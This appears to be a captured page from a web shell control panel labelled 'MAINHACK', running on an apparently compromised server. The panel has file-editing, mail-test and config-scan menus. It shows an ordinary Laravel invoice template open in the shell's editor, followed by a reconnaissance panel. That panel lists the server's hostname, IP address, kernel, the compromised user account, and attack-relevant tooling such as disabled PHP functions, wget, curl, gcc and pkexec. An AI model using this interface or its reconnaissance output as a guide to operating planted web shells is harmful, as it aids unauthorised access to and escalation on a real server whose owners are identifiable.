[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: custom.blade.php
@php $type = isset($type) ? $type : 'preview'; @endphp <style type="text/css"> {{ $quotation->invoice_template->custom_css }} </style> <!-- Default Invoice template --> <div id="invoice" class="{{ $type }}"> <div class="custom-invoice"> @php $replace = array( '$quotation_title' => $quotation->title, '$business_name' => $quotation->business->name, '$business_address' => $quotation->business->address, '$business_phone' => $quotation->business->phone, '$business_email' => $quotation->business->email, '$business_country' => $quotation->business->country, '$business_vat_id' => $quotation->business->vat_id, '$business_reg_no' => $quotation->business->reg_no, '$customer_name' => $quotation->customer->name, '$customer_email' => $quotation->customer->email, '$customer_mobile' => $quotation->customer->mobile, '$customer_company_name' => $quotation->customer->company_name, '$customer_vat_id' => $quotation->customer->vat_id, '$customer_reg_no' => $quotation->customer->reg_no, '$customer_city' => $quotation->customer->city, '$customer_state' => $quotation->customer->state, '$customer_zip' => $quotation->customer->zip, '$customer_address' => $quotation->customer->address, '$customer_country' => $quotation->customer->country, '$quotation_number' => $quotation->quotation_number, '$po_so_number' => $quotation->po_so_number, '$quotation_date' => $quotation->quotation_date, '$quotation_expired_date' => $quotation->expired_date, '$status' => quotation_status($quotation), '$sub_total' => formatAmount($quotation->sub_total, currency_symbol($quotation->business->currency), $quotation->business_id), //'$taxes_loop' => '', '$discount' => formatAmount($quotation->discount, currency_symbol($quotation->business->currency), $quotation->business_id), '$grand_total' => formatAmount($quotation->grand_total, currency_symbol($quotation->business->currency), $quotation->business_id), '$quotation_note' => $quotation->note, '$quotation_footer_details' => $quotation->footer, ); $invoice_content = strtr($quotation->invoice_template->body, $replace); $quotationColumns = json_decode(get_business_option('quotation_column', null, $quotation->business_id)); $invoice_content = str_replace('<!--$invoice_items_header-->', view('backend.user.quotation.template.components.invoice-items-header', compact('quotation', 'quotationColumns'))->render(), $invoice_content); $invoice_content = str_replace('<!--$invoice_items-->', view('backend.user.quotation.template.components.invoice-items', compact('quotation', 'quotationColumns'))->render(), $invoice_content); $invoice_content = str_replace('<!--$invoice_summary-->', view('backend.user.quotation.template.components.invoice-summary', compact('quotation'))->render(), $invoice_content); $invoice_content = str_replace('$tax_loop', view('backend.user.quotation.template.components.invoice-taxes', compact('quotation'))->render(), $invoice_content); $logo = $type == 'pdf' ? public_path('uploads/media/' . $quotation->business->logo) : asset('public/uploads/media/' . $quotation->business->logo); $invoice_content = str_replace('<!--$company_logo-->', $logo, $invoice_content); @endphp {!! xss_clean($invoice_content) !!} </div> </div>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002